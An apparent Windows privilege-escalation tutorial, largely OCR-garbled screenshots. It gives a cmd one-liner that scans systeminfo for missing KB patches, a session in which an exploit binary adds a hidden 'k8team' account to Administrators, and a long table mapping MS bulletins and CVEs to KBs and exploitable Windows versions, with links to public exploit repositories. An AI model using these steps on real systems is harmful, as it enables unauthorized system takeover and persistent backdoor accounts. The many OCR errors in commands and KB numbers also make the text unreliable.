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systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799
KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904
KB3134228 KB3143141 KB3141780) do @type micropoor.txt|@find /i "%i"|| @echo
%i you can fuck)&del /f /g /a micropoor.txt

i U EEEEASERIT. EEIRFTAEMmicrpoor.txt , LA EHNT REISRIER S
fifl.
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C:sTEMP>susteminfoimicropoor..txt&(for xi in ¢ HKB?77165 KB2168329 KB2583665 KB2S
22799 KB2787511 KB2829361 KB2858851 KB388BH61 KB3845171 KB3I@77657 KBE3877784 KB
3134228 KB3143141 KB3141788 » do Btype micropoor.txtil@find ~1i “#i"i! Becho xi

vou can fuck)&del ~f g ~a micropoor.txt

B?77165 vou can fuck

B216832? vou can fuck

B25@3665 wvou can fuck

B252279? you can fuck

B27875%11 vou can fuck

B2822361 wvou can fuck

B285@851 vou can fuck

B3AAAAG]L vou can fuck

B3A45171 vou can fuck

B3877657 vyou can fuck

B3A7727284 vou can fuck

B3134228 vou can fuck

B3143141 vou can fuck

B3141788 vou can fuck

" WINDOWS' system32' cmd.exe

i~>whoami
root—tvil6Zubehmnicropoor

tsnnet user micropoor
SEr name micropoor

ser’'s comment

ountry code AAA (Syztem Default)
Yes
Hever

szword last zet 11172017 11:85 PM
ssword expires 1230208017 2:52 PH
szword changeahle 1117720817 11:85 PH
assword reguired Yes
ser may change password Yes

Jorkstationz allowed All

ogon script

ser profile

ome directory

ast logon 111772817 11:85 PH

ogon hours allowed All

ocal Group Memberzships *lzeprs
lohal Group memberzhips *Mone
he command completed successfully.




C=~TEMP>M511_80_k8 _.exe

[*]1 mzll-B8 Exploit

[#]1 Token system command

[#] command add user kBteam kBteam

C:TEMP>net user kBteam
kBteam
kBteam

Uzer’'s comment

Country code B8A (System Defaultl
Account active Yes

Account expires Hever

Pazzword last set 11217228017 11:11 PH
Pazsword expires 12382017 92:59 PHM
Password changeable 112172817 11:11 PH
Password required Yes

User may change password Yes

Workstationsz allowed All
Logon script

Uzer profile

Home directory

Last logon Hever

Logon hours allowed All

Local Group Memberszhips *#ldministrators
Glohal Group memberzhips *#None
The command completed successfully.

C:~TEMP>

expiE :

MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation]
(windows 7/8)

CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows
10/8.1/7/2016/2010/2008)

CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows
10/8.1/7/2016/2010/2008)

MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows
7/2008/2003/XP)

MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1)
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)

MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)

MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012)

MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)



MS15-097 [KB3089656] [remote code execution] (win8.1/2012)

MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)

MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)

MS15-051 [KB3057191] [Windows Kernel Mode Drivers]
(2003/2008/7/8/2012)

MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)

MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008
R2)

MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)

MS14-070 [KB2989935] [Kernel Driver] (2003)

MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)
MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)

MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)

MS14-002 [KB2914368] [NDProxy] (2003/XP)

MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)

MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)
MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)

MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)

MS11-080 [KB2592799] [AFD.sys] (2003/XP)

MS11-062 [KB2566454] [NDISTAPI] (2003/XP)

MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)

MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)

MS10-092 [KB2305420] [Task Scheduler] (2008/7)

MS10-065 [KB2267960] [FastCGI] (1S 5.1, 6.0, 7.0, and 7.5)

MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)

MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 &
SP2/2008 Gold & SP2 & R2/Win7)

MS10-015 [KB977165] [KiTrapOD] (2003/2008/7/XP)

MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows
7/2008R2)

MS09-050 [KB975517] [Remote Code Execution] (2008/Vista)

MS09-020 [KB970483] [1IS 6.0] (IIS 5.1 and 6.0)

MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)



MS08-068 [KB957097] [Remote Code Execution] (2000/XP)

MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server
2003/Vista/Server 2008)

MS08-066 ] I (Windows 2000/XP/Server 2003)

MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)

MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)

MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 [KB823980] [Buffer Overrun In RPC Interface]

(/NT/2000/XP/2003)

EXShaFFexpit :
https://github.com/SecWiki/windows-kernel-exploits

https.//github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
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